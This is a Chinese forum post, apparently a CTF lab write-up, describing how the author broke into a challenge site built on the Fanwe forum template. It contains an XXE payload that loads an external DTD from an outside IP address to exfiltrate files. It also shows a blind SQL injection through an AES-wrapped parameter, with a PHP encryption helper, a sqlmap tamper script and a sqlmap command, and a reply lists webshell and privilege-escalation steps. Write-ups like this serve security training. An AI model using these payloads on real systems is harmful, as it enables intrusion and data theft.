擂台赛A组解题思路

Yaoヽ药药   ·   发表于 26天前   ·   CTF&WP专版

该篇文章转载自微信公众号《天外域》,由本人原创

转载地址:https://mp.weixin.qq.com/s?__biz=MzkwNDE5ODUyMw==&mid=2247483694&idx=1&sn=6bf2aa32446ddd449826e8fe36e3edac&chksm=c08be13af7fc682cf2cf509d2b80650e86b07765cee8d3dd7a6a6f54278d4f11a106770a5aab&token=215106868&lang=zh_CN#rd

目标站是掌控安全的《擂台赛》中的一个题目

活动时间:12 月 24 日-12 月 27 日

相关介绍 https://hack.zkaq.cn/ctf2020.html

以下是目标站,此次已拿数据库flag为主

使用的是《方维技术论坛》的模板,尝试了一下在网上找模板,无果

貌似这套模板得几万块一套,网上没有泛滥

这类的站,直接黑盒搞得可能性不太大 不然早泛滥了

这里尝试一下扫描备份文件,或者有惊喜


先选择自定义字典的《压缩包.txt》,然后开始扫描

扫出一条结果
http://mawd16-20.aqlab.cn:23512/fw.zip

直接在浏览打开,弹出了下载 这个文件极有可能是此站的安装包

翻看了一下 发现确实是此站源码不假

简单的翻看了一下源码,使用了think PHP框架

发现使用了微信支付的sdk 这个版本的sdk存在xxe注入 嘿嘿


这里直接一梭子过去直接一梭子过去

  1. <?xml version="1.0"?>
  2. <!DOCTYPE ANY[
  3. <!ENTITY % file SYSTEM "file://文件路径">
  4. <!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
  5. %remote;
  6. %send;
  7. ]>


哦豁 宝塔防火墙,不要慌 这里先bypass一下

等等,xml代码的bypass我好像不会啊,那怎么办

果断放弃这个点,专挑软柿子来捏才是王道

既然题目是数据库中的flag,那么突破点既有可能是sql注入

但是这里是使用的thinkphp框架进行开发的,难道是框架的注入吗??

这里我掐了一卦梅花易数,算出突破点在根目录的 cron.php

  1. $auth = trim($_POST['auth']);
  2. require_once APP_ROOT_PATH.'/system/libs/crypt_aes.php';
  3. $aes = new CryptAES();
  4. $aes->set_key(FANWE_AES_KEY);
  5. $aes->require_pkcs5();
  6. $decString = $aes->decrypt($auth);
  7. $data = json_decode($decString,1);
  8. if($data['key']!=FANWE_APP_ID)
  9. die("auth error");
  10. else
  11. $type = $data['type'];

这里先是接收post参数auth 放在$auth变量中

这里引入了aes的库文件,然后new CryptAES

接着赋值了密钥 这里我是通过命名猜的

下面这一行$aes->require_pkcs5(); 是干啥的就猜不出来了

这里直接打开crypt_aes.php 搜索此函数 发现是设置类型 methon

简单的看了下 还有加密的函数

接着是解密$auth 也就是post参数

然后进行了json解析 返回给$data

再然后进行了判断,判断$data[‘key’]的值是否不等于FANWE_APP_ID

这里的FANWE_APP_ID目测是个自定义的常量

如果不等于则 die(“auth error”);

等于则 $type = $data[‘type’];

然后将$type放进sql语句中执行

  1. $GLOBALS['db']->query("start transaction");
  2. $schedule_data = $GLOBALS['db']->getRow("select * from ".DB_PREFIX."schedule_list where type='".$type."' and exec_status in (0,1) and exec_lock = 0 and schedule_time <=".NOW_TIME." order by schedule_time asc limit 1");

通过以上的分析,这里的 FANWE_AES_KEY与FANWE_APP_ID两个常量是关键

这里将cron.php的代码复制到test.php

这里把post改成get 方便测试

这里先直接输出两个常量 却发现直接把常量的命名给输出出来了

  1. echo FANWE_AES_KEY . "--" . FANWE_APP_ID."<br>";

行吧,我输了

这里我加了两行代码

直接对参数进行加密,然后把加密后的值输出出来方便测试

这里打开浏览器直接进行传参调试

根据php代码这里构造了一个json传过去

返回值为 “auth error”,条件不成立


这里将key的值改为 FANWE_APP_ID,页面返回一个json 条件成立


这里将type的值改为以下的payload,页面开始延迟加载了 注入成功


这里将代码划到最底部,页面输出的json值 其实是当前传入的type参数跟时间戳。。。


这里他妈的是盲注啊 靠

那就只能用sqlmap了(极不情愿),但是参数需要先进行aes加密。。。

这里简单的修改一下当前的代码,让其直接返回加密后的hash值

当前只需要传入sql语句即可

  1. $auth = "{\"key\": \"FANWE_APP_ID\",\"type\": \"".$auth."\"}";
  2. $auth = $aes->encrypt($auth);
  3. echo urlencode($auth);
  4. exit();

然后这里再使用python写一个sqlmap的tamper脚本 对接上面的php

  1. import requests
  2. def dependencies():
  3. pass
  4. def tamper(payload, **kwargs):
  5. sesion = requests.session()
  6. sesion.trust_env = False
  7. red = sesion.get("http://test.com/test.php?auth="+payload)
  8. return red.text

然后抓一下目标站的包,使用sqlmap进行盲注
sqlmap.py -r C:\Users\Test\Desktop\aaa.txt --tamper C:\Users\Test\Desktop\sqlmapproject-sqlmap-673a5af\tamper\test.py --dbs

用户名金币积分时间理由
veek 200.00 0 2021-02-05 12:12:24 新的突破点~

打赏我,让我更有动力~

1 Reply   |  Until 26天前 | 1003 View

Track-聂风
发表于 26天前

微信支付XXE,可以的,课程学的很精髓,我们正式课XXE的靶场就是微信支付XXE

药药你找到的注入点,不错哦,其实这个站还有其他注入点,有一个注入点可以直接结合图片马Getshell。

而且SQL注入只是第一个flag,后面还有绕宝塔上菜刀拿WWW目录权限

后面还有绕disable_function和宝塔提权拿最高权限

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2021. All Rights Reserved. 掌控者

Powered by 掌控者